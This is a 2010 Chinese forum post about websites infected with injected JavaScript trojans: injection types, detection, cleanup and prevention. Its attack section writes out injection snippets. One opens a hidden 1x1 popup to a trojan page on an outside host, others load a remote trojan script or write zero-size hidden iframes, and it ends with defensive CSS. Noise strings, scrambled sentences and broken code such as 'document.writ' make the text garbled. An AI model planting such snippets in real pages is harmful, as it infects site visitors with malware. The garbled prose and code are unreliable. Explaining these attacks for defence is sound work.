搜索
查看: 11425|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

, j5 H/ ^$ j) Y* f

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

) f% C3 l( n" L" h

IFRAME 和 JS 脚本挂马。

+ z1 K6 Z9 M! d( I" r, `- M

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

7 { m4 j. h. n1 T' A) r# ^

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

; d I$ U# A- m: D# }! Y0 x

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

, ?/ Z0 Y b9 I# r; l2 a+ a

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

5 U4 J/ ], }8 s( U* ?4 h3 k

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

, P# @2 t. T2 M2 C" Q

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

2 N% ^; M' |: J. t! z

。一千多位会员的 ID

; ~1 H: Z1 B+ U/ W* n, K

2: 如何检测网页是否被挂马。

1 ~6 u2 v/ v9 v

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

8 p* h4 b/ q: w8 _# d2 y. r

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

# B: E9 s7 S d# j* U

因素。
2 googl 检测。>

: w P, ] I+ Y( B

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

6 i2 A, E+ @8 C8 w6 g

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

, N- j( e. h) F# |0 n& v

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

: ~! z! Z+ y0 Z1 Q6 g7 Q* o

5 G X" b- @# r. q4 s6 J5 P7 R

3: 如何清除网页木马。

, P3 m0 d" {2 L% b9 ^3 U6 G4 m. K/ c

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

' U2 n! r1 r# }' R L

入源文件把相关的网页挂马种类的可疑代码删除。

1 [5 J1 w$ c6 H% C1 b2 k% E

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

0 `9 Q8 R8 M3 Y" t" N

悉。>

( H, R& C* ]8 g6 p

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

1 c; M& \3 A- t# m* f+ ?( K, r

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

1 f* V7 I2 k2 b* j* z* G

2 保证你所使用的顺序及时的更新。

. V$ U: k0 Y; w- S

3 不要在前台网页上加注后台管理程序登陆页面的链接。

/ v* `5 }: e3 ^: V, ^

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

0 l- h+ z" H; M0 O

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

, j" W# z2 @* S: |2 q6 z* v

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

- M. X$ d) i2 _" H

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

9 f: u3 ?+ ~" t! v( ?2 o

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

( \; y. c8 @" U8 l; y

- ?2 j( Z6 W- e( C6 O. B

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

N+ V3 H( q; a* C

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

0 R, o' O% E3 X, g3 L

JS 挂马溯源

: l* F" V5 j3 G

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

) n( h8 W) _% H6 z/ l# a

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

4 s; Z* N+ t+ m# e+ c3 ~

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

' F- X( q2 G- h: U( _

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

3 c" }/ E" d! u

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

2 t. |5 E5 B+ M- u

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

5 q* ^3 Q# y5 f6 C' n6 u$ Q% X

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

. f* U5 @2 G6 ?5 D Y! O

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

2 [* x. V. J1 }; q* ~0 P6 |% W6 Q

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

/ W- n% Q& B7 v! Y O* I

脚本在工作中会有很大的协助。

e: p v2 q h0 t1 |' ?

挂马原理一点通

0 |$ l2 z! N5 D$ z. l& I7 ?' Q: l$ O

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

- T6 H2 C* e9 J

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

3 F4 N* ]/ H9 J' d" w

无从区分木马在何处。

0 I: M6 [+ _5 w1 y D# e

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

2 l" S7 R- A4 v

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

" `% i- D/ i( t+ d5 j) p

容易蒙混过关,导致木马久杀不绝。

! }5 ]- e% ~7 h4 E: F Z. g( |

JS 挂马攻防实录

( C3 T; l1 |, [* x- r3 e' x

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

4 T7 f( g3 p+ N- q: L' q

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

) |" y7 c& F9 K F) q" Q5 v

这种方法使用的关键代码如下:

& w% K+ B/ ^# N" ^' p

"",  window.open "http://www.v404.cn/ 木马

0 |8 x; g! l6 J2 l5 `0 v: a9 D( U

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

! E# E& k3 b7 V/ X% o

6 L7 n/ |5 x* u

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

0 e i! H1 g) k1 ? |

但是设置为 0 后,可能会出现恶意代码不运行的情况。

, o/ e. _( v. c# Q# r2 G; U/ N

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

1 @1 g- ]% o _# X( x& m4 @7 j

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

7 R- e4 g! p7 g2 u

/ ?& |1 o* U* ]+ Y

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

- x' E: L$ u) P" S0 J

1 A% o3 A W% c4 K; P) Q+ o

或者

+ s- I& i" E( C, T# u* r9 Z, C% T7 J

document.writ "<div style='display:none'>"

* H/ i6 ]( A+ Y

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

6 L5 y$ D8 w0 k& d# r8 S

document.writ "</div>"
 

- @9 T* I, P. v# G5 Z' L3 a+ x f+ c

" i# f5 Y5 j6 Z+ t7 v

就成功地将木马挂到对方的网页中了

" {% R* A% j6 Z+ u# B6 O

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

# z& Z m/ Y( s7 J+ \

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

( T! G0 V" v. {5 O9 u/ {) }. D

或者:

3 l8 ^9 H3 x& o+ S) K

<ifram src="vbscript:[ 挂马脚本 ]">

6 q8 I" y- W0 `& U7 q. v

! v8 V9 n, ?3 |5 o/ [( M8 f5 R


等等 …

( a2 e( P, y) i3 `$ q

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

' @; Y- T) b0 q8 C# @- S' t

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

% v, _8 v' t: @6 [( m) ^- y& s- c5 x

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

/ O t4 g5 |: O- o4 _& Y

;}

2 j1 r: y9 a1 o9 o

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

# q8 c$ w. q! X! D2 C( H4 {

/ _/ Y+ Z: \; ] v1 M! |

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

* p" G/ H# G8 n7 K, T

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

# Z$ a$ H! l$ f

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

3 M6 F$ o& H ~/ U9 I

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

4 g" V- k3 m, a, N) |" e$ q- b

<title> 让 JS 挂马中止的 CSS 代码 </title>

`1 ^; A s0 g2 n8 x( t. c; K

<styl type="text/css" id="shudoo">

! L& `! [& n1 J# \# n1 r

/*<![CDATA[*/

2 Y4 a, }- o. R1 V6 {

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

) k; N' S6 a+ M9 d

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

# v) x2 Y% O. m! f, w

/*]]>*/

9 u, X0 S1 B2 _8 b. P5 }' p

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表